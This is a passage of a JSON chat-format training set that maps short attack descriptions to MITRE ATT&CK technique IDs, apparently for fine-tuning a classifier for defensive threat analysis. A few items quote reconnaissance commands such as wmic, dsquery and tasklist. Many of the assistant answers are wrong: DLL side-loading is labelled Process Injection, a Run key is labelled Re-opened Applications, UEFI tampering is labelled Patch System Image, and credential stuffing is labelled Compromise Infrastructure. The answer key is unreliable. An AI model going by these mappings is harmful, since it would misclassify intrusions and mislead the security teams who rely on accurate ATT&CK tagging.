                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After dumping the KRBTGT hash, the malicious actor forges Kerberos tickets to obtain domain admin rights without needing legitimate credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python backdoor periodically polls the clipboard for new content and exfiltrates any discovered secrets."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the bootloader to inject code that persists across system reboots and evades detection."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response logs show repeated connections to a known external proxy IP, indicating the use of an external proxy for command and control."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the Windows registry to load a custom network provider DLL, the threat actor captures user credentials during login."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls PowerShell's Get-Date cmdlet to learn the current system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor executes 'wmic service where (PathName like \"%.sys%\") get Name, PathName' to find drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python-based backdoor uses os.walk() to recursively list directories and files on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a phishing campaign that impersonates a corporate HR department, directing victims to a bogus website that records their credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts NTLM password hashes from the SAM database and uses them to authenticate to remote services without cracking them."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device initiates numerous MFA verification calls to the victim's phone, aiming to wear them down until they accept a malicious request."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor repurposes legitimate scheduled jobs to execute malicious commands intermittently."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a leaked DigitalOcean API token to create droplet instances and use them as proxies."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool enumerates all SharePoint site collections and copies their content to a staging server for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a deceptive message that appears to be from a popular cloud storage service, asking victims to re‑enter their account credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop custom remote access tools and host them on a publicly accessible repository."
            },
            {
                "role": "assistant",
                "content": "T1587 - Develop Capabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised CMS, the intruder injects a hidden web shell file that can be invoked to execute system commands."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering calls are made to the help desk, requesting verification of employee names for a fake IT audit."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Netsh helper DLL feature by placing a malicious DLL in %SystemRoot%\\System32 and configuring the Netsh helper registry key, causing the DLL to run each time netsh.exe is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker gains access to an existing SSH connection by replaying a previously captured authentication handshake."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor executes 'wmic path Win32_PnPSignedDriver get DeviceName, DriverVersion' to list signed device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages port 25 to send encrypted C2 messages, hiding within normal SMTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script parses /proc/*/environ and /proc/*/cmdline of high‑privilege processes to harvest plaintext passwords and authentication tokens from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a misconfigured web application to modify the internal wiki page with defacement graffiti."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a symmetric encrypted tunnel using a hard‑coded key to mask command traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office template (.dotx) is placed on a shared drive; when any user opens a new document based on this template, the embedded macro runs, demonstrating Office Application Startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator runs `dsquery * \"CN=System,DC=example,DC=com\" -scope base -attr trustedDomain` to collect trust data."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvested OAuth tokens from a compromised SaaS application to gain unauthorized access to the victim's AWS account."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A deceptive email from a supposed executive requests a confidential report, and the attached zip file contains a trojan that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT32 employs DLL side‑loading by placing a malicious DLL in a directory that is searched before the legitimate one, causing the victim process to load it during startup."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors establish a new domain account and assign it the \"Domain Admins\" role for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a legitimate authentication API to programmatically generate valid MFA tokens, bypassing user interaction."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder clones a legitimate smart card and programs it with the victim’s credentials to gain physical access to secure areas."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters DNS query responses to redirect traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious party sets up a fake tech support hotline, convinces users to grant remote desktop access while verbally confirming their system passwords."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a lightweight virtual machine on the compromised host to execute malicious code, keeping the activity hidden from security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate Kubernetes secrets and config maps to gain insight into container environment variables."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the trusted developer utility npm, the adversary publishes a package that runs a hidden backdoor during the 'npm install' process."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group hijacks compromised cryptocurrency mining rigs, linking them into a botnet to silently exfiltrate wallet credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses password spraying on a cloud service by trying common passwords against user accounts obtained via phishing."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CMS injects a script that intercepts and forwards login credentials from the site’s authentication page to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evidence of DCOM remote service usage was found, enabling the attacker to control the target system."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Docker container runs a malicious entrypoint script that pulls and runs additional malware."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary captured a user's authentication cookie from a compromised browser and used it to hijack the user's web session without needing the user's credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the UEFI firmware image with malicious code to maintain persistence across OS reinstallations."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor alters the default file association registry entries to execute a malicious script when a .txt file is opened."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Impacket library, the intruder ran a DCSync routine to replicate directory objects and steal password data."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a custom COM add‑in for Excel that executes a download script each time Excel starts, categorized as Office Application Startup: Office Test."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware inserts junk characters into log files, making signature‑based detection difficult."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a script to delete Bash history files from compromised Linux hosts, removing traces of commands run earlier."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware inspects the system's MAC address pattern to detect virtual NICs and only activates its payload on physical hardware."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the cryptographic trust store, enabling the loading of malicious kernel modules under the guise of trusted code."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages an unquoted service path vulnerability to execute a payload with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains access to a container image registry and replaces a base image with a tampered version that contains a hidden cryptominer, affecting all containers built from it."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tampers with the SSD firmware, causing data exfiltration and persistence."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the 'find' command to locate files matching certain patterns across the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker harvests credentials from a breached third‑party vendor and uses them to access the victim’s internal systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages compromised VPN endpoints to create a multi-hop proxy relay, making network detection difficult by bouncing traffic across different geographic locations."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses malicious JavaScript on a compromised domain to perform a drive‑by download, installing a remote access trojan on unsuspecting users."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changed a compromised binary's file header to mimic a legitimate .exe, making it appear as a standard Windows executable."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages reflective code loading to execute a payload from a base64-encoded string embedded in a script."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage a credential‑dumping tool to pull saved credentials from the macOS Keychain."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages LDAP queries to list trust relationships between domains in an Active Directory forest."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor adjusts the domain's Kerberos policy to extend ticket lifetimes for persistence."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the 'Run' registry key under HKLM to launch a credential-stealing tool whenever the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan modifies the Registry Run key to launch Outlook.exe with a malicious command line argument during boot."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RAT performs a timing test, measuring sleep accuracy to identify virtualized environments that may have altered timers."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a credential‑stuffing attack against a VPN gateway, eventually gaining administrative access to the internal server infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through breaking and reconstructing the process hierarchy, the malware causes its process to inherit the name and parent of a legitimate system process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious scheduled task is configured to start a ransomware process automatically when the system starts."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs 'tasklist /v' to obtain verbose information about processes and associated modules."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised social media account posted a malicious link that, when visited, exploited a browser vulnerability to execute code on the user's system."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group creates a self‑deleting malware variant that removes its files after successful execution to avoid forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a zero‑day flaw in a widely used PDF reader to silently deliver a malicious payload that grants them new hacking capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvest Firefox saved passwords by accessing the key4.db file and using the master password to decrypt the stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit insecure ACLs on an executable installer stored in a shared network share, overwriting it with a payload that is executed when a privileged user runs the installer."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
